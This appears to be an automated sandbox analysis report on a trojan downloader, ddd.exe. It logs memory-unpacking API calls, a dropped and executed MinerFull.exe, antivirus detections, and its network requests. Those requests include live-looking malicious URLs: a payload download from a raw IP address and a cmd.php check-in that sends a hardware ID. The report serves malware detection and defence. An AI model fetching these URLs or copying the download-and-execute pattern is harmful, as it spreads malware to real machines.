__exception__ April 12, 2022, 5:26 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:26 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header, Connection to IP address

suspicious_request

GET http://107.189.6.214/5fFjAn68/MinerFull.exe

Performs some HTTP requests (3 events)

request	GET http://107.189.6.214/5fFjAn68/MinerFull.exe
request	GET http://xxx01xzb.beget.tech/cmd.php?hwid=7C6024AD
request	GET http://xxx01xzb.beget.tech/cmd.php?timeout=1

Allocates read-write-execute memory (usually to unpack itself) (50 out of 52 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 851968 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000580000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000005d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef40a1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef473b000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 1310720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000001fe0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000020a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef40a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef40a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef40a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef40a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef40a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef40a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef40a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef40a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef40a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef40a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef40a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef40a4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef40a4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef40a4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef40a4000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9492a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe949dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94a06000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe949e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9493c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94a50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9493a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9492b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9494b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9497c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9494d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94922000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94a90000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9497d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94a91000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9493b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94aa0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94aa1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94aa2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94aa3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94aa4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94aa5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 12, 2022, 5:17 p.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94aa6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\ProgramData\MinerFull.exe

Drops a binary and executes it (1 event)

file	C:\ProgramData\MinerFull.exe

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses April 12, 2022, 5:17 p.m.	flags: 15 family: 0		111	0

An executable file was downloaded by the process ddd.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
recv April 12, 2022, 5:17 p.m.	buffer: HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 4164096 Content-Type: application/x-ms-dos-executable Last-Modified: Sun, 10 Apr 2022 21:10:36 GMT Date: Tue, 12 Apr 2022 08:26:52 GMT MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELÊ^=_à0d?$î? ?@ @ é?`?S ? à? H.textôb? d? `.rsrc ?"f?@@.relocà??@B received: 708 socket: 900	1	708	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x0004c000', u'virtual_address': u'0x00002000', u'entropy': 7.826858636634115, u'name': u'.text', u'virtual_size': u'0x0004be84'}

entropy

7.82685863663

description

A section with a high entropy has been found

entropy

0.817204301075

description

Overall entropy of this PE file is high

Communicates with host for which no DNS query was performed (2 events)

host	107.189.6.214
host	5.188.119.76

Creates an executable file in a user folder (1 event)

file	C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe

File has been identified by 25 AntiVirus engines on VirusTotal as malicious (25 events)

Lionic	Trojan.MSIL.Startun.4!c
MicroWorld-eScan	Gen:Variant.MSILHeracles.37277
McAfee	Artemis!BCAAF37E0BEB
BitDefender	Gen:Variant.MSILHeracles.37277
CrowdStrike	win/malicious_confidence_100% (W)
Symantec	MSIL.Downloader!gen9
Elastic	malicious (moderate confidence)
APEX	Malicious
Paloalto	generic.ml
Kaspersky	HEUR:Trojan.MSIL.Startun.gen
Ad-Aware	Gen:Variant.MSILHeracles.37277
Sophos	Mal/Generic-S
McAfee-GW-Edition	Artemis!Trojan
FireEye	Generic.mg.bcaaf37e0beb6717
Emsisoft	Gen:Variant.MSILHeracles.37277 (B)
GData	Gen:Variant.MSILHeracles.37277
MAX	malware (ai score=81)
Arcabit	Trojan.MSILHeracles.D919D
Microsoft	Trojan:Win32/Sabsik.FL.B!ml
Cynet	Malicious (score: 100)
ALYac	Gen:Variant.MSILHeracles.37277
Cylance	Unsafe
TrendMicro-HouseCall	TROJ_GEN.R002H09DC22
AVG	TrojanX-gen [Trj]
Avast	TrojanX-gen [Trj]

ddd.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All